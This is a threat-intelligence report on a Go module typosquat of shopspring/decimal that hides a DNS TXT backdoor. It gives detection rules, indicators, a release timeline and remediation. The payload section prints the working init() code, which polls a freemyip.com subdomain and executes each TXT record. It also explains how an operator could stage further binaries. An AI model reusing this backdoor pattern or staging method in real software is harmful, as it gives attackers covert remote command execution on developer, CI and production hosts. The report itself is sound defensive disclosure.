Threat reportSupply ChainTL-2026-0535
github.com/shopsprint/decimal Go Module Typosquat — 33-Month-Old DNS TXT Backdoor Against shopspring/decimal Supply Chain
Socket Threat Research disclosed a long-running typosquat of github.com/shopspring/decimal (the de facto Go arbitrary-precision decimal library with 38,634 known importers across fintech, billing, crypto, and analytics codebases).
Key facts for shopsprint decimal typosquat
| Identifiers | TL-2026-0535 |
|---|---|
| Also known as | shopsprint/decimal typosquat, Go decimal typosquat, shopsprint DNS TXT backdoor |
| Severity | HIGH |
| Exploitation status | Exploited in the wild |
| Affected products | shopsprint (typosquat author, GitHub account deleted) github.com/shopsprint/decimal; shopspring (legitimate) github.com/shopspring/decimal; Google Go Module Proxy (proxy.golang.org) |
| Weaknesses (CWE) | CWE-506, CWE-829, CWE-94, CWE-78, CWE-1357 |
| MITRE ATT&CK techniques | T1036 Masquerading, T1036.005 Match Legitimate Resource Name or Location, T1059 Command and Scripting Interpreter, T1070.009 Indicator Removal: Clear Persistence, T1071 Application Layer Protocol, T1071.004 Application Layer Protocol: DNS, T1082 System Information Discovery, T1105 Ingress Tool Transfer, T1106 Native API, T1129 Shared Modules, T1195 Supply Chain Compromise, T1195.002 Supply Chain Compromise: Compromise Software Supply Chain and 8 more in the attack flow |
| Motivation | UNKNOWN |
| Target sectors | financial, fintech, cryptocurrency, billing, analytics, ecommerce, ledger-and-accounting, software-development |
| Target regions | Global |
| Detection rules | 9 (1 shown free) |
| Sources | 11 cited sources |
Detection coverage for shopsprint decimal typosquat
As of 2026-05-20, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0535 across Splunk SPL, Microsoft KQL and Sigma, covering 20 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: Go Binary Parent Spawning Child argv0 Matching Recent DNS TXT Answer - Post-Exploitation Execution
High-precision correlation: a Go-compiled binary issues a DNS TXT query, then within 5 seconds spawns a child whose argv[0] (with no further arguments) matches a string returned in the TXT answer. This is the exact post-exploitation pattern of the shopsprint/decimal v1.3.3 init() goroutine, which feeds DNS TXT values directly into os/exec.Command for fire-and-forget shell-less RCE.
- Languages: Splunk SPL, Microsoft KQL, Sigma
- ATT&CK: T1059, T1059.001, T1059.004, T1059.006, T1071.004
- Data sources: sysmon, edr, microsoft_defender_for_endpoint, dns_query_logs
- Severity: critical
- Confidence: high
Splunk SPL
index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 OR EventCode=22)
| eval is_dns=if(EventCode==22, 1, 0)
| eval is_proc=if(EventCode==1, 1, 0)
| transaction ProcessGuid maxspan=10s
| where is_dns=1 AND is_proc=1
| where QueryType="TXT"
| eval txt_answers=split(QueryResults, ";")
| eval child_image_basename=replace(Image, "^.*[\\\\/]", "")
| eval child_image_noext=replace(child_image_basename, "\\.exe$", "")
| where mvfind(txt_answers, child_image_noext)>=0
| where CommandLine=Image
| stats count by ParentImage, Image, child_image_noext, QueryName
| eval threat="TL-2026-0535 shopsprint/decimal DNS-TXT-driven RCE"
| table ParentImage Image child_image_noext QueryName threatMicrosoft KQL
let TxtQueries = DeviceEvents
| where Timestamp > ago(24h)
| where ActionType == "DnsQueryResponse"
| extend QueryType = tostring(parse_json(AdditionalFields).QueryType)
| where QueryType == "TXT"
| extend TxtAnswers = tostring(parse_json(AdditionalFields).Results)
| project DnsTime=Timestamp, DnsDevice=DeviceId, DnsParentPid=InitiatingProcessId, DnsParentImage=InitiatingProcessFileName, QueryName=RemoteUrl, TxtAnswers;
DeviceProcessEvents
| where Timestamp > ago(24h)
| join kind=inner TxtQueries on $left.DeviceId == $right.DnsDevice, $left.InitiatingProcessId == $right.DnsParentPid
| where Timestamp between (DnsTime .. (DnsTime + 5s))
| where ProcessCommandLine == FileName
| where TxtAnswers contains tostring(FileName)
| project Timestamp, DeviceName, DnsParentImage, FileName, ProcessCommandLine, QueryName, TxtAnswersSigma
title: Go Binary Child Process argv0 Matches Recent DNS TXT Answer (TL-2026-0535)
id: 7f3e9c02-0535-4002-b002-a0e7c2c00002
status: experimental
description: Correlates a process spawning a child within 5 seconds of issuing a DNS TXT query where child argv[0] (no further arguments) equals a string in the TXT answer. Models the shopsprint/decimal v1.3.3 init()-goroutine exec.Command(txt).CombinedOutput() pattern.
references:
- https://socket.dev/research
author: AII-Detector - ThreadLinqs Intelligence
date: 2026/05/20
tags:
- attack.execution
- attack.t1059
- attack.t1059.001
- attack.command_and_control
- attack.t1071.004
logsource:
product: edr
category: process_creation_correlated
detection:
selection:
parent_dns_query_type: 'TXT'
parent_dns_to_child_seconds|lte: 5
child_argv_count: 1
child_argv0_in_parent_dns_txt_answers: true
condition: selection
fields:
- parent.image
- child.image
- parent.dns_query_name
- parent.dns_txt_answers
falsepositives:
- DNS-based service-discovery agents where TXT records intentionally name binaries
level: criticalKnown false positives:
- DNS-based service-discovery agents (Consul, etcd) where TXT records intentionally name binaries
- Internal admin tooling that uses TXT records as a lookup table for binary names
Tuning notes: Whitelist known service-discovery agents (Consul, Nomad). Tighten by requiring parent process to have Go build ID marker (Sysmon EventCode 7 ImageLoaded with .note.go.buildid for ELF, or PE section .go.buildid). Adjust correlation window from 5s if cadence varies - the real beacon executes immediately on TXT receipt.
- Developer or CI Host Resolving shopsprint/decimal Module Path - Exploitation · unlock with TL Creds
- Go-Compiled Binary Spawning Short-Lived Zero-Output Children - Post-Exploitation · unlock with TL Creds
- DNS TXT Lookup to [indicator] - C2 IOC Hit · unlock with TL Creds
- go.mod or go.sum Adding [indicator] - Supply-Chain Exploitation · unlock with TL Creds
- Go Source Diff Adding net + os/exec + time Imports to Compute-Only Module - Trust-Then-Poison Pattern · unlock with TL Creds
- Go Binary Issuing Periodic DNS TXT Lookup to Free DDNS Subdomain - C2 Beacon Sigma Rule · unlock with TL Creds
- Go Module Proxy Fetch of shopsprint/decimal Typosquat - Exploitation · unlock with TL Creds
- Periodic TXT-Only DNS Beacon to Free DDNS Subdomain - C2 Channel · unlock with TL Creds
Indicators of compromise for shopsprint decimal typosquat
As of 2026-05-20, Threadlinqs Intelligence tracks 20 indicators of compromise for TL-2026-0535.
Sample indicators (3 of 20)
- IP address:
8.8.8[.]8 - Domain:
freemyip[.]com - File hash:
dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086
Defanged, TLP:CLEAR. Full set of 20 indicators: unlock with TL Creds.
How shopsprint decimal typosquat works
The malicious package github.com/shopsprint/decimal — a single-character vendor-name swap — was first published 2017-11-08 and remained a benign source mirror for nearly six years before v1.3.3 was weaponized on 2023-08-19 09:27:21 UTC with an init() function that spawns a goroutine polling dnslog-cdn-images.freemyip.com every 5 minutes for DNS TXT records and executes each response through os/exec.Command. The GitHub source repository and shopsprint owner account have been deleted, but the Go Module Proxy (proxy.golang.org) continues to serve v1.3.3 on demand, giving the threat actor on-demand arbitrary command execution against any developer machine, CI runner, or production host that resolves the typosquat path.
OVERVIEW
github.com/shopsprint/decimal is a malicious Go module that impersonates github.com/shopspring/decimal — the canonical Go library for fixed-point arbitrary-precision decimal arithmetic, used wherever a project handles money, ledger entries, exchange rates, billing math, or cryptocurrency amounts (Go's native float64 cannot represent monetary values without rounding error). The legitimate package has 38,634 known importers on pkg.go.dev. The typosquat differs by a single character at the end of the vendor name (shopspring -> shopsprint) and preserves the entire public API and source body of the upstream library, so importing projects compile, pass tests, and produce correct arithmetic results with no observable behavioral difference.
TRUST-THEN-POISON RELEASE TIMELINE
The typosquat was published with eight tagged versions between 2017 and 2023: - v1.0.0 (2017-11-08), v1.0.1 (2018-03-01), v1.1.0 (2018-07-09), v1.2.0 (2020-04-28), v1.3.0 (2021-10-13), v1.3.1 (2021-10-20): straight source mirrors of upstream tags, no malicious code. - v1.3.2 (2023-08-19 09:20:28 UTC): mirrored upstream bugfixes (a one-character comment typo correction and an arithmetic precision fix in Decimal.Mod). Still benign. - v1.3.3 (2023-08-19 09:27:21 UTC, exactly 7 minutes later): same v1.3.2 base plus an additional commit (2f0ee073c6f29d66188a845592029c9b52528f04) that adds the backdoor.
The back-to-back benign-then-malicious release pattern is the trust-then-poison technique Socket previously documented in the boltdb-go/bolt Go typosquat: a legitimate, low-impact release is shipped to establish recent maintenance activity, and the malicious release follows within minutes so that any developer who re-checks the package on the day of poisoning sees plausible, upstream-aligned activity. The combined operational picture is approximately six years of benign typosquat seeding followed by approximately thirty-three months of weaponized presence on the Go module ecosystem before disclosure.
PAYLOAD MECHANICS (FULL DIFF v1.3.2 -> v1.3.3, decimal.go)
Three changes are spliced into decimal.go: 1. Import block extended with net, os/exec, and time. None of these are present in the upstream shopspring/decimal source at any tagged version. A pure arithmetic library has no documented reason to perform DNS resolution or process execution. 2. A new init() function declared inside package decimal: func init(){ go func(){ for { records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com") if err != nil { time.Sleep(5 * time.Minute); continue } for _, txt := range records { cmd := exec.Command(txt) cmd.CombinedOutput() } time.Sleep(5 * time.Minute) } }() } 3. A spurious func main(){} appended at the end of the file. Because decimal.go declares package decimal (not package main), this main is dead code under any normal build; its presence is a forensic tell of sloppy authorship (likely a scratch file or AI-assisted scaffolding), not a functional component of the payload.
Go's package initialization model guarantees that every init() in a package runs before main() and before any exported function of the package can be called. Importing github.com/shopsprint/decimal anywhere in a project's dependency graph — direct or transitive — is therefore sufficient to start the C2 loop the moment the resulting binary runs. The loop is hosted in a detached goroutine that survives for the entire process lifetime, polls net.LookupTXT every 5 minutes, sleeps silently on DNS failure (no log line, no error propagation), and passes each TXT string directly to exec.Command(txt).CombinedOutput().
COMMAND AND CONTROL CHANNEL
The single hardcoded IOC inside the payload is dnslog-cdn-images.freemyip.com. The subdomain currently resolves to an A record of 8.8.8.8 (Google Public DNS); this is a decoy designed to give the host a routable address for tools that follow A records while the operator continues to drive the payload exclusively through TXT records. VirusTotal first analyzed the subdomain on 2024-08-07.
freemyip.com is a legitimate free dynamic-DNS provider. The provider itself is not malicious, but VirusTotal Intelligence shows freemyip.com hosting at least 40 subdomains with one or more malicious detections — phishing kits impersonating PayPal, Sberbank, and MetaMask; DGA-style randomized hostnames; and persistent C2/fraud subdomains with detection counts up to 14 across the AV stack. None of those clusters thematically overlap with this Go supply-chain operation, consistent with a separate operator standing up a fresh, low-noise subdomain on a known-abused but unrestricted DDNS host. Free DDNS gives the operator second-by-second control over the TXT record value with no registrar friction; using TXT instead of A or HTTPS evades the egress controls most likely to fire on a developer machine, where outbound HTTP is often inspected but outbound DNS rarely is.
exec.Command(txt) does not invoke a shell, so each TXT string must be a single absolute or PATH-resolvable program name with no arguments or metacharacters interpreted. This is not a meaningful constraint: the operator can stage a second-stage binary through an earlier command, then trigger it by publishing its path in TXT; or point TXT at any binary already on the system that produces useful side effects when run with no arguments (LOLBins, package managers, service control utilities, local privilege escalation tools).
GO MODULE PROXY PERSISTENCE
The GitHub source repository (https://github.com/shopsprint/decimal) and the shopsprint owner account (https://github.com/shopsprint) both return HTTP 404 — removed by the threat actor, GitHub abuse response, or an automated cleanup. The removal has no effect on reachability. proxy.golang.org caches Go module artifacts indefinitely as part of Go's reproducibility guarantee, and continues to serve every published version of github.com/shopsprint/decimal, including v1.3.3, on demand. A developer running `go get github.com/shopsprint/decimal@v1.3.3` today receives the malicious code with no warning, and the package is still listed on pkg.go.dev. The same persistence model was abused by the boltdb-go/bolt typosquat reported by Socket in 2025, where source scrubbing did not interrupt fetchability for years.
IMPACT AND BLAST RADIUS
Every machine that imports github.com/shopsprint/decimal@v1.3.3 and runs the resulting binary executes the init() goroutine for the lifetime of the process. The blast radius matches the privileges of whatever binary imports the package: a developer CLI inherits the developer's credentials; a containerized service inherits its mounted secrets and service account; a CI job inherits its repository tokens and deployment credentials. Persistence is automatic for the process lifetime and reattaches on every restart of any binary that imports the module — no filesystem persistence, registry change, scheduled task, or LaunchAgent is required. The persistence mechanism is the dependency itself. With a 5-minute beacon and silent error handling, an importing project can run for weeks before any operator command is delivered, with no observable artifact in process output, no entry in application logs, and no failed-DNS noise loud enough to draw attention. The thirty-three months between weaponization (2023-08-19) and disclosure (2026-05-19) puts a long upper bound on possible exposure for any project that pinned an unverified version of shopsprint/decimal.
ATTRIBUTION
No concrete attribution. The operator has tradecraft consistent with prior Go supply-chain typosquatters (trust-then-poison cadence, DDNS C2 staging, scrubbing the GitHub source after disclosure pressure). The selection of a fintech-adjacent library is suggestive of financial motivation but unconfirmed. Confidence: LOW.
MITRE ATT&CK techniques by tactic:
Defense Evasion
T1036 Masquerading; T1036.005 Match Legitimate Resource Name or Location; T1070.009 Indicator Removal: Clear Persistence
Execution
T1059 Command and Scripting Interpreter; T1106 Native API; T1129 Shared Modules
Command and Control
T1071 Application Layer Protocol; T1071.004 Application Layer Protocol: DNS; T1105 Ingress Tool Transfer; T1568 Dynamic Resolution; T1572 Protocol Tunneling
Discovery
T1082 System Information Discovery
Initial Access
T1195 Supply Chain Compromise; T1195.002 Supply Chain Compromise: Compromise Software Supply Chain
stealth
Resource Development
T1583 Acquire Infrastructure; T1583.001 Acquire Infrastructure: Domains; T1583.002 Acquire Infrastructure: DNS Server; T1587.001 Develop Capabilities: Malware; T1608.001 Stage Capabilities: Upload Malware
Remediation for shopsprint decimal typosquat
Patches
- Replace github.com/shopsprint/decimal with github.com/shopspring/decimal in every affected go.mod, regenerate go.sum, and rebuild.
- No vendor patch exists or is meaningful — the malicious module is not maintained by an upstream party; the only fix is removal.
Immediate actions
- Audit every go.mod and go.sum in your organization for any reference to github.com/shopsprint/decimal (note the trailing 't' in shopsprint) — pre-built binaries also need symbol-level inspection via `go version -m <binary>`.
- If found, remove the dependency, rebuild the affected binaries from clean source, and replace deployed artifacts everywhere they run (CI runners, developer workstations, production hosts, containers).
- Block DNS resolution of dnslog-cdn-images.freemyip.com at egress resolvers and DNS firewall.
- Consider a tighter blocklist on *.freemyip.com given the provider's broad abuse pattern; if a clean business need exists, allow-list specific subdomains rather than block-listing only the known C2.
- Hunt for any Go binary on any host that resolves the C2 subdomain. Process-network correlation in EDR (Go binary + DNS TXT query to dnslog-cdn-images.freemyip.com) is high-precision.
- Rotate credentials, tokens, and secrets used on any system where a Go binary importing the typosquat may have executed since 2023-08-19.
Workarounds
- If you cannot immediately remove the dependency, deny outbound DNS for dnslog-cdn-images.freemyip.com at the resolver and at the host firewall.
- Run affected Go binaries with seccomp or AppArmor profiles that deny execve from the goroutine's perspective (note: this hardens the host but does not stop the DNS beacon, and the binary should still be considered compromised).
Longer-term hardening
- Enforce module pinning with checksums (go.sum) and refuse fetches that introduce new top-level modules without code review.
- Adopt GOPROXY policies that route through an internal proxy with allow-listed modules and explicit promotion gates.
- Run dependency-diff scanning at PR time that flags additions of standard-library imports (net, os/exec, syscall, unsafe, reflect, runtime/debug) into modules whose previous versions did not use them.
- Adopt Socket, Snyk, GitHub Dependabot, OSV-Scanner, or an equivalent supply-chain scanner that flags known-malicious Go module versions.
- For high-value services (custody, payments, ledger code), restrict outbound DNS from production runtime to a narrow allow-list of known service domains; route everything else through a logged DNS proxy.
- Monitor for process-level network behavior anomalies: any non-DNS-tooling process performing TXT-only lookups on a 5-minute cadence is a high-confidence signal.
Affected and fixed versions
- shopsprint (typosquat author, GitHub account deleted) — github.com/shopsprint/decimal
- shopspring (legitimate) — github.com/shopspring/decimal
Fixed in: all versions of the legitimate package are unaffected — the legitimate package has no init(), no network code, and no process execution code - Google — Go Module Proxy (proxy.golang.org)
Timeline of shopsprint decimal typosquat
- locked-ioc-16 v1.0.0 first published as a benign source mirror of the legitimate shopspring/decimal at the matching tag.
- v1.0.1 of the typosquat published, still a clean source mirror of upstream.
- v1.1.0 of the typosquat published, source-mirror only.
- v1.2.0 of the typosquat published, source-mirror only.
- v1.3.0 of the typosquat published, source-mirror only.
- v1.3.1 of the typosquat published, source-mirror only.
- v1.3.3 published at 09:27:21 UTC, exactly 7 minutes after v1.3.2. Commit locked-ioc-10 adds the malicious init() function with DNS TXT C2 to locked-ioc-15.
- v1.3.2 published at 09:20:28 UTC with two legitimate bugfixes mirrored from upstream (comment-typo correction and Decimal.Mod precision fix). Designed to establish recent maintenance activity immediately before the malicious release.
- VirusTotal first analyzes locked-ioc-15. The subdomain resolves to a decoy A record of locked-ioc-20.
- Despite source repository and owner deletion, locked-ioc-17 continues to serve all eight tagged versions including the malicious v1.3.3 on demand.
- Socket Threat Research publishes disclosure (Kush Pandya). The GitHub repository at locked-ioc-16 and the shopsprint owner account both return HTTP 404 by the time of publication.
- Threadlinqs Intelligence publishes TL-2026-0535 with detection coverage and remediation guidance.
- As of 2026-05-29, the primary vector is closed: locked-ioc-17 now returns a 403 SECURITY ERROR for shopsprint/decimal (verified, including v1.3.3), and the C2 domain locked-ioc-15 no longer resolves (no A/TXT). Residual risk persists via pinned go.sum/private mirror caches and a possible C2 re-stand-up by the unknown operator.
Sources cited for shopsprint decimal typosquat
- Popular Go Decimal Library Targeted by Long-Running Typosquat with DNS Backdoor (Socket / Kush Pandya) socket.dev · Vendor report · 2026-05-19
- Legitimate shopspring/decimal Go module on pkg.go.dev pkg.go.dev · Vendor report · 2026-05-19
- Malicious typosquat shopsprint/decimal listing on pkg.go.dev (still resolvable) pkg.go.dev · Vendor report · 2026-05-19
- Go Module Proxy proxy.golang.org reference proxy.golang.org · Vendor report · 2026-05-19
- MITRE ATT&CK T1195.002 — Compromise Software Supply Chain MITRE · Research · 2026-05-19
- MITRE ATT&CK T1071.004 — Application Layer Protocol: DNS MITRE · Research · 2026-05-19
- MITRE ATT&CK T1568 — Dynamic Resolution MITRE · Research · 2026-05-19
- MITRE ATT&CK T1572 — Protocol Tunneling MITRE · Research · 2026-05-19
- MITRE ATT&CK T1036.005 — Masquerading: Match Legitimate Name or Location MITRE · Research · 2026-05-19
- MITRE ATT&CK T1583.001 — Acquire Infrastructure: Domains MITRE · Research · 2026-05-19
- Socket prior research: boltdb-go/bolt Go typosquat using proxy-cache persistence (referenced precedent) socket.dev · Vendor report · 2025-02-03
Previous and next in supply chain
Further reading
Drafted by the Threadlinqs research pipeline from 11 sources; published ; last updated —.